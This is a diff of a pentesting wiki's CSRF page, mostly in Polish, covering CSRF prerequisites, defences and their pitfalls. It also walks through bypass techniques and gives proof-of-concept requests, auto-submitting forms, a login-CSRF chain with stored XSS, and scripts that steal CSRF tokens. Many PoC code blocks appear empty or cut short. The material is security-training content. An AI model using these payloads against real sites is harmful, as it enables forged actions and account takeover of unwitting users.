diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4c7d77d24..ff94a56ed 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -487,6 +487,7 @@ - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) + - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index fb0af1e7c..f993efd1b 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -2,51 +2,58 @@ {{#include ../banners/hacktricks-training.md}} -## Wyjaśnienie Cross-Site Request Forgery (CSRF) +## Cross-Site Request Forgery (CSRF) Explained -**Cross-Site Request Forgery (CSRF)** to rodzaj podatności bezpieczeństwa występującej w aplikacjach webowych. Pozwala atakującym wykonywać akcje w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest przeprowadzany, gdy użytkownik zalogowany w serwisie ofiary odwiedza złośliwą stronę, która następnie wywołuje żądania do konta ofiary poprzez np. uruchamianie JavaScript, wysyłanie formularzy lub pobieranie obrazów. +**Cross-Site Request Forgery (CSRF)** to rodzaj luki bezpieczeństwa występującej w aplikacjach webowych. Pozwala atakującym wykonywać akcje w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest przeprowadzany, gdy użytkownik zalogowany do ofiary odwiedza złośliwą stronę, która następnie wyzwala żądania do konta ofiary przez wykonanie JavaScript, wysłanie formularzy lub pobranie obrazków. -### Wymagania wstępne dla ataku CSRF +### Prerequisites for a CSRF Attack -Aby wykorzystać podatność CSRF, musi być spełnionych kilka warunków: +Aby wykorzystać lukę CSRF, musi zostać spełnionych kilka warunków: -1. **Zidentyfikować wartościową akcję**: atakujący musi znaleźć akcję wartą wykorzystania, np. zmianę hasła, adresu email lub podniesienie uprawnień. -2. **Zarządzanie sesją**: sesja użytkownika powinna być zarządzana wyłącznie za pomocą cookies lub nagłówka HTTP Basic Authentication, ponieważ inne nagłówki nie mogą zostać zmanipulowane w tym celu. -3. **Brak nieprzewidywalnych parametrów**: żądanie nie powinno zawierać nieprzewidywalnych parametrów, które mogą uniemożliwić atak. +1. **Identify a Valuable Action**: Atakujący musi znaleźć akcję wartą wykorzystania, np. zmianę hasła użytkownika, e-maila lub podniesienie uprawnień. +2. **Session Management**: Sesja użytkownika powinna być zarządzana wyłącznie za pomocą cookies lub nagłówka HTTP Basic Authentication, ponieważ inne nagłówki nie mogą być w ten sposób zmanipulowane. +3. **Absence of Unpredictable Parameters**: Żądanie nie powinno zawierać nieprzewidywalnych parametrów, gdyż mogą one uniemożliwić atak. -### Szybka weryfikacja +### Quick Check -Możesz **przechwycić żądanie w Burp** i sprawdzić zabezpieczenia CSRF; aby przetestować z poziomu przeglądarki, kliknij **Copy as fetch** i sprawdź żądanie: +Możesz **capture the request in Burp** i sprawdzić zabezpieczenia CSRF, a aby przetestować z poziomu przeglądarki możesz kliknąć **Copy as fetch** i sprawdzić żądanie:
-### Obrona przed CSRF +### Defending Against CSRF -Kilka środków zapobiegawczych, które można wdrożyć, aby chronić przed atakami CSRF: +Kilka środków zaradczych można wdrożyć, aby chronić przed atakami CSRF: -- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Ten atrybut uniemożliwia przeglądarce wysyłanie ciasteczek wraz z żądaniami cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). -- [**Cross-origin resource sharing**](cors-bypass.md): Polityka CORS serwisu ofiary może wpłynąć na wykonalność ataku, zwłaszcza jeśli atak wymaga odczytania odpowiedzi z serwisu ofiary. [Learn about CORS bypass](cors-bypass.md). -- **Weryfikacja użytkownika**: poproszenie o podanie hasła lub rozwiązanie captchy może potwierdzić intencję użytkownika. -- **Sprawdzanie nagłówków Referrer lub Origin**: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą z zaufanych źródeł. Jednak staranne przygotowanie URLi może obchodzić źle zaimplementowane sprawdzenia, np.: - - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL) - - Using `http://example.com.mal.net` (URL starts with the trusted URL) -- **Modyfikacja nazw parametrów**: zmiana nazw parametrów w żądaniach POST lub GET może utrudnić automatyczne ataki. -- **CSRF Tokens**: Włączenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach znacząco zmniejsza ryzyko CSRF. Skuteczność tokena można zwiększyć poprzez egzekwowanie CORS. +- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Ten atrybut uniemożliwia przeglądarce wysyłanie cookies wraz z żądaniami cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). +- [**Cross-origin resource sharing**](cors-bypass.md): Polityka CORS serwisu ofiary może wpływać na wykonalność ataku, szczególnie jeśli atak wymaga odczytu odpowiedzi z serwisu ofiary. [Learn about CORS bypass](cors-bypass.md). +- **User Verification**: Poproszenie o hasło użytkownika lub rozwiązanie captcha może potwierdzić intencję użytkownika. +- **Checking Referrer or Origin Headers**: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą z zaufanych źródeł. Jednak starannie skonstruowane URL-e mogą obejść słabo zaimplementowane sprawdzenia, na przykład: +- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL) +- Using `http://example.com.mal.net` (URL starts with the trusted URL) +- **Modifying Parameter Names**: Zmiana nazw parametrów w żądaniach POST lub GET może utrudnić automatyczne ataki. +- **CSRF Tokens**: Włączenie unikalnego CSRF tokena dla każdej sesji i wymaganie tego tokena w kolejnych żądaniach znacząco zmniejsza ryzyko CSRF. Skuteczność tokena można zwiększyć przez egzekwowanie CORS. -Zrozumienie i wdrożenie tych mechanizmów obronnych jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji webowych. +Zrozumienie i wdrożenie tych zabezpieczeń jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji webowych. + +#### Common pitfalls of defenses + +- SameSite pitfalls: `SameSite=Lax` nadal pozwala na nawigacje top-level cross-site, takie jak linki i formularze GET, więc wiele CSRF opartych na GET pozostaje możliwych. Zobacz cookie matrix w [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite). +- Header checks: Waliduj `Origin` gdy jest obecny; jeśli zarówno `Origin`, jak i `Referer` są nieobecne, odrzucaj żądanie (fail closed). Nie polegaj na dopasowaniach przez substring/regex `Referer`, które można obejść przez lookalike domains lub spreparowane URL-e, i zwróć uwagę na sztuczkę z `meta name="referrer" content="never"` służącą do tłumienia. +- Method overrides: Traktuj nadpisane metody (`_method` lub override headers) jako zmieniające stan i wymuszaj CSRF na efektywnej metodzie, a nie tylko na POST. +- Login flows: Zastosuj ochrony CSRF także dla logowania; w przeciwnym razie login CSRF umożliwia wymuszenie ponownego uwierzytelnienia do kont kontrolowanych przez atakującego, co można połączyć z stored XSS. ## Defences Bypass ### From POST to GET (method-conditioned CSRF validation bypass) -Niektóre aplikacje wymagają weryfikacji CSRF tylko dla POST, pomijając ją dla innych metod HTTP. Typowy antywzorzec w PHP wygląda tak: +Niektóre aplikacje wymuszają walidację CSRF jedynie dla POST, pomijając ją dla innych werbów. Powszechny antywzorzec w PHP wygląda tak: ```php public function csrf_check($fatal = true) { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF // ... validate __csrf_token here ... } ``` -Jeśli podatny endpoint akceptuje także parametry z $_REQUEST, możesz ponownie wykonać tę samą akcję jako żądanie GET i całkowicie pominąć CSRF token. To zamienia akcję dostępną tylko przez POST w akcję GET, która zakończy się powodzeniem bez tokena. +Jeśli podatny endpoint akceptuje również parametry z $_REQUEST, możesz ponownie wykonać tę samą akcję jako żądanie GET i całkowicie pominąć CSRF token. To zamienia akcję dostępną tylko przez POST na akcję GET, która powiedzie się bez tokenu. Przykład: @@ -65,50 +72,90 @@ __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] HTTP/1.1 ``` -Uwagi: -- Ten wzorzec często występuje razem z reflected XSS, gdy odpowiedzi są błędnie serwowane jako text/html zamiast application/json. -- Połączenie tego z XSS znacznie obniża bariery eksploatacji, ponieważ możesz dostarczyć pojedynczy link GET, który jednocześnie wyzwala podatną ścieżkę kodu i całkowicie omija sprawdzanie CSRF. +Notes: +- Ten wzorzec często pojawia się razem z reflected XSS, gdy odpowiedzi są błędnie serwowane jako text/html zamiast application/json. +- Sparowanie tego z XSS znacznie obniża bariery eksploatacji, ponieważ można dostarczyć pojedynczy link GET, który zarówno uruchamia podatną ścieżkę kodu, jak i całkowicie omija mechanizmy sprawdzania CSRF. -### Brak tokena +### Brak tokenu -Aplikacje mogą implementować mechanizm, aby **validate tokens** gdy są obecne. Jednak powstaje luka, jeśli walidacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą to wykorzystać poprzez **usunięcie parametru**, który zawiera token, a nie tylko jego wartość. Pozwala to obejść proces walidacji i skutecznie przeprowadzić Cross-Site Request Forgery (CSRF). +Aplikacje mogą zaimplementować mechanizm **walidacji tokenów** kiedy są one obecne. Jednak powstaje luka, jeśli walidacja jest pomijana całkowicie, gdy token jest nieobecny. Atakujący mogą to wykorzystać, **usuwając parametr** który przenosi token, a nie tylko jego wartość. Pozwala to na obejście procesu walidacji i skuteczne przeprowadzenie ataku Cross-Site Request Forgery (CSRF). +Co więcej, niektóre implementacje sprawdzają tylko, czy parametr istnieje, ale nie walidują jego zawartości, więc **pusta wartość tokena jest akceptowana**. W takim wypadku wystarczy wysłać żądanie z `csrf=`: +```http +POST /admin/users/role HTTP/2 +Host: example.com +Content-Type: application/x-www-form-urlencoded + +username=guest&role=admin&csrf= +``` +Minimalny PoC z automatycznym wysłaniem (ukrywanie nawigacji przy użyciu history.pushState): +```html + + +
+ + + + +
+ + + +``` ### CSRF token is not tied to the user session -Aplikacje, które nie wiążą CSRF token z sesjami użytkowników, stanowią poważne ryzyko bezpieczeństwa. Systemy te weryfikują tokeny przeciwko globalnemu zbiorowi zamiast upewnić się, że każdy token jest powiązany z sesją inicjującą. +Aplikacje, które **nie wiążą CSRF tokens z sesjami użytkownika**, stanowią poważne **zagrożenie bezpieczeństwa**. Systemy te weryfikują tokeny względem **globalnej puli** zamiast zapewnić, że każdy token jest powiązany z sesją, która go wygenerowała. Oto jak atakujący to wykorzystują: -1. Zaloguj się używając własnego konta. -2. Uzyskaj ważny CSRF token z globalnego zbioru. -3. Użyj tego tokena w ataku CSRF przeciwko ofierze. +1. **Uwierzytelniają się** przy użyciu własnego konta. +2. **Uzyskują ważny CSRF token** z globalnej puli. +3. **Używają tego tokena** w ataku CSRF przeciwko ofierze. -Ta luka pozwala atakującym wykonywać nieautoryzowane żądania w imieniu ofiary, wykorzystując niewystarczający mechanizm walidacji tokenów aplikacji. +Ta podatność pozwala atakującym wykonywać nieautoryzowane żądania w imieniu ofiary, wykorzystując **niewystarczający mechanizm walidacji tokenów** aplikacji. -### Method bypass +### Omijanie metody -Jeśli żądanie używa "dziwnej" metody, sprawdź, czy działa funkcja method override. Na przykład, jeśli używa metody PUT możesz spróbować użyć metody POST i wysłać: _https://example.com/my/dear/api/val/num?__method=PUT_ +Jeśli żądanie używa „**dziwnej**” **metody**, sprawdź, czy działa funkcjonalność **method override**. Na przykład, jeśli używana jest metoda **PUT/DELETE/PATCH**, możesz spróbować użyć **POST** i wysłać override, np. `https://example.com/my/dear/api/val/num?_method=PUT`. -Może to także zadziałać, wysyłając parametr _method_ wewnątrz żądania POST lub używając nagłówków: +Może to również zadziałać przez wysłanie parametru **`_method` w treści POST** lub użycie nagłówków override: -- _X-HTTP-Method_ -- _X-HTTP-Method-Override_ -- _X-Method-Override_ +- `X-HTTP-Method` +- `X-HTTP-Method-Override` +- `X-Method-Override` -### Custom header token bypass +Często spotykane w frameworkach takich jak **Laravel**, **Symfony**, **Express** i innych. Deweloperzy czasem pomijają CSRF dla metod innych niż POST, zakładając, że przeglądarki nie mogą ich wysyłać; dzięki override możesz nadal trafić do tych handlerów poprzez POST. -Jeśli żądanie dodaje niestandardowy header z tokenem jako metodę ochrony CSRF, to: +Przykładowe żądanie i HTML PoC: +```http +POST /users/delete HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded -- Przetestuj żądanie bez niestandardowego tokena i bez nagłówka. -- Przetestuj żądanie z tokenem o tej samej długości, ale innym tokenem. +username=admin&_method=DELETE +``` -### CSRF token is verified by a cookie +```html +
+ + + +
+``` +### Omijanie tokenu w custom header -Aplikacje mogą implementować ochronę CSRF poprzez duplikowanie tokena zarówno w cookie, jak i w parametrze żądania, lub poprzez ustawienie CSRF cookie i weryfikowanie, czy token przesłany w backendzie odpowiada cookie. Aplikacja waliduje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w cookie. +Jeśli żądanie dodaje **custom header** z **token** jako **CSRF protection method**, to: -Jednak ta metoda jest podatna na ataki CSRF, jeśli serwis ma luki pozwalające atakującemu ustawić CSRF cookie w przeglądarce ofiary, np. luka CRLF. Atakujący może to wykorzystać, ładując zwodniczy obraz, który ustawia cookie, a następnie inicjuje atak CSRF. +- Przetestuj żądanie bez **Customized Token** i bez **header**. +- Przetestuj żądanie z tokenem o dokładnie **tej samej długości, lecz innym tokenie**. -Poniżej przykład, jak mógłby wyglądać taki atak: +### CSRF token jest weryfikowany przez cookie + +Aplikacje mogą implementować ochronę CSRF poprzez duplikowanie token w obu: cookie oraz parametrze żądania, lub poprzez ustawienie CSRF cookie i weryfikowanie, czy token wysłany do backendu odpowiada cookie. Aplikacja waliduje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w cookie. + +Jednak ta metoda jest podatna na ataki CSRF, jeśli serwis ma luki pozwalające atakującemu ustawić CSRF cookie w przeglądarce ofiary — na przykład luka CRLF. Atakujący może to wykorzystać, ładując podstępny obraz, który ustawia cookie, a następnie inicjując atak CSRF. + +Poniżej przykład, jak taki atak może być skonstruowany: ```html @@ -131,17 +178,17 @@ onerror="document.forms[0].submit();" /> ``` > [!TIP] -> Zwróć uwagę, że jeśli **csrf token is related with the session cookie this attack won't work** ponieważ będziesz musiał ustawić victim swoją session, a w konsekwencji zaatakujesz samego siebie. +> Zauważ, że jeśli **csrf token jest powiązany z session cookie, ten atak nie zadziała**, ponieważ będziesz musiał ustawić u ofiary swoją sesję, a więc będziesz atakował siebie. ### Zmiana Content-Type -Zgodnie z [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć żądań preflight** przy użyciu metody **POST**, dozwolone są następujące wartości Content-Type: +Zgodnie z [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć preflight** żądań przy użyciu metody **POST**, dozwolone są następujące wartości Content-Type: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** -Jednak zwróć uwagę, że **severs logic may vary** w zależności od użytego **Content-Type**, więc powinieneś wypróbować wymienione wartości oraz inne, takie jak **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ +Jednak zwróć uwagę, że **logika serwera może się różnić** w zależności od użytego **Content-Type**, więc powinieneś wypróbować wspomniane wartości oraz inne, takie jak **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Przykład (z [here](https://brycec.me/posts/corctf_2021_challenges)) wysyłania danych JSON jako text/plain: ```html @@ -164,21 +211,21 @@ form.submit() ``` ### Bypassing Preflight Requests for JSON Data -Przy próbie wysłania danych JSON przez żądanie POST, ustawienie `Content-Type: application/json` w formularzu HTML nie jest bezpośrednio możliwe. Podobnie użycie `XMLHttpRequest` do wysłania tego typu treści powoduje żądanie preflight. Niemniej jednak istnieją sposoby, by potencjalnie obejść to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type: +Przy próbie wysłania danych JSON za pomocą żądania POST ustawienie `Content-Type: application/json` w HTML formie nie jest bezpośrednio możliwe. Podobnie, użycie `XMLHttpRequest` do wysłania tego typu treści inicjuje preflight request. Niemniej jednak istnieją strategie, które mogą pozwolić ominąć to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type: -1. **Use Alternative Content Types**: Użyj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. Podejście to sprawdza, czy backend wykorzystuje dane niezależnie od Content-Type. -2. **Modify Content Type**: Aby uniknąć żądania preflight i jednocześnie sprawić, by serwer rozpoznał zawartość jako JSON, można wysłać dane z `Content-Type: text/plain; application/json`. Nie wywoła to preflight, ale może zostać poprawnie przetworzone przez serwer, jeśli jest skonfigurowany do akceptowania `application/json`. -3. **SWF Flash File Utilization**: Mniej powszechna, ale możliwa metoda polega na użyciu pliku SWF flash, aby obejść takie ograniczenia. Aby poznać technikę szczegółowo, odnieś się do [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +1. **Use Alternative Content Types**: Użyj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. To pozwala sprawdzić, czy backend wykorzystuje dane niezależnie od Content-Type. +2. **Modify Content Type**: Aby uniknąć preflight request, a jednocześnie sprawić, by serwer rozpoznał zawartość jako JSON, możesz wysłać dane z `Content-Type: text/plain; application/json`. To nie wywoła preflight request, ale może zostać poprawnie przetworzone przez serwer, jeśli jest skonfigurowany do akceptowania `application/json`. +3. **SWF Flash File Utilization**: Mniej powszechna, lecz wykonalna metoda polega na użyciu pliku SWF (Flash) do obejścia takich ograniczeń. Aby poznać tę technikę bardziej szczegółowo, zobacz [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Referrer / Origin check bypass **Avoid Referrer header** -Aplikacje mogą sprawdzać nagłówek 'Referer' tylko gdy jest on obecny. Aby zapobiec wysyłaniu tego nagłówka przez przeglądarkę, można użyć następującego znacznika meta HTML: +Aplikacje mogą weryfikować nagłówek 'Referer' tylko wtedy, gdy jest on obecny. Aby uniemożliwić przeglądarce wysłanie tego nagłówka, można użyć następującego HTML meta tagu: ```xml ``` -To powoduje, że nagłówek 'Referer' jest pomijany, potencjalnie omijając kontrole walidacji w niektórych aplikacjach. +To zapewnia, że nagłówek 'Referer' jest pomijany, potencjalnie omijając kontrole walidacji w niektórych aplikacjach. **Regexp bypasses** @@ -187,7 +234,7 @@ To powoduje, że nagłówek 'Referer' jest pomijany, potencjalnie omijając kont ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -Aby ustawić nazwę domeny serwera w URL, którą Referrer wyśle w parametrach, możesz zrobić: +Aby ustawić nazwę domeny serwera w URL, którą Referrer ma wysłać w parametrach, możesz zrobić: ```html @@ -216,19 +263,54 @@ document.forms[0].submit() ``` -### **HEAD method bypass** +### **Omijanie metody HEAD** -Pierwsza część [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśnia, że w [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) router jest ustawiony tak, aby **handle HEAD requests as GET requests** bez response body — powszechne obejście, które nie jest unikatowe dla Oak. Zamiast dedykowanego handlera obsługującego HEAD reqs, są one po prostu **given to the GET handler but the app just removes the response body**. +W pierwszej części [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśniono, że w [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) router jest ustawiony tak, by **handle HEAD requests as GET requests** bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oak. Zamiast specyficznego handlera obsługującego żądania HEAD, są one po prostu **given to the GET handler but the app just removes the response body**. -Dlatego, jeśli GET request jest ograniczony, możesz po prostu **send a HEAD request that will be processed as a GET request**. +Dlatego, jeśli żądanie GET jest ograniczane, możesz po prostu **send a HEAD request that will be processed as a GET request**. ## **Exploit Examples** -### **Exfiltrating CSRF Token** +### Stored CSRF via user-generated HTML -Jeśli **CSRF token** jest używany jako **defence**, możesz spróbować **exfiltrate it** wykorzystując podatność [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) lub podatność [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). +Gdy dozwolone są edytory rich-text lub HTML injection, możesz utrwalić pasywny fetch, który uderzy w podatny endpoint GET. Każdy użytkownik, który obejrzy zawartość, automatycznie wykona to żądanie z własnymi cookies. -### **GET using HTML tags** +- Jeśli aplikacja używa globalnego tokena CSRF, który nie jest powiązany z sesją użytkownika, ten sam token może działać dla wszystkich użytkowników, co sprawia, że stored CSRF jest niezawodne wobec wielu ofiar. + +Minimalny przykład, który zmienia email oglądającego po załadowaniu: +```html + +``` +### CSRF logowania połączone ze stored XSS + +CSRF logowania sam w sobie może mieć niewielki wpływ, ale połączenie go z uwierzytelnionym stored XSS staje się potężne: zmuszasz ofiarę do zalogowania się na konto kontrolowane przez atakującego; będąc już w tym kontekście, stored XSS na stronie dostępnej po uwierzytelnieniu wykona się i może ukraść tokeny, przejąć sesję lub eskalować uprawnienia. + +- Upewnij się, że login endpoint jest CSRF-able (brak per-session token lub origin check) i że żadne mechanizmy wymagające interakcji użytkownika nie blokują ataku. +- Po wymuszonym logowaniu automatycznie przejdź na stronę zawierającą payload stored XSS atakującego. + +Minimal login-CSRF PoC: +```html + + +
+ + + +
+ + + +``` +### **Eksfiltracja CSRF Token** + +Jeśli **CSRF Token** jest używany jako **środek ochronny**, możesz spróbować **eksfiltrować go** wykorzystując podatność [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) lub podatność [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). + +### **GET z użyciem tagów HTML** ```xml

404 - Page not found

@@ -263,7 +345,7 @@ background: url("..."); ``` -### Formularz — żądanie GET +### Formularz żądania GET ```html @@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit ``` -### Żądanie POST formularza przez iframe +### Form POST request przez iframe ```html @@ -426,7 +508,7 @@ document.getElementById("formulario").submit() ``` -### **Wykradnij token CSRF i wyślij żądanie POST** +### **Wykradnij CSRF Token i wyślij żądanie POST** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` -### **Wykradnij CSRF Token i wyślij Post request przy użyciu iframe, form i Ajax** +### **Ukradnij CSRF Token i wyślij żądanie POST używając iframe, form i Ajax** ```html ``` -### **POSTSteal CSRF token za pomocą Ajax i wysłać post za pomocą formularza** +### **POSTSteal CSRF token za pomocą Ajax i wyślij post przy użyciu form** ```html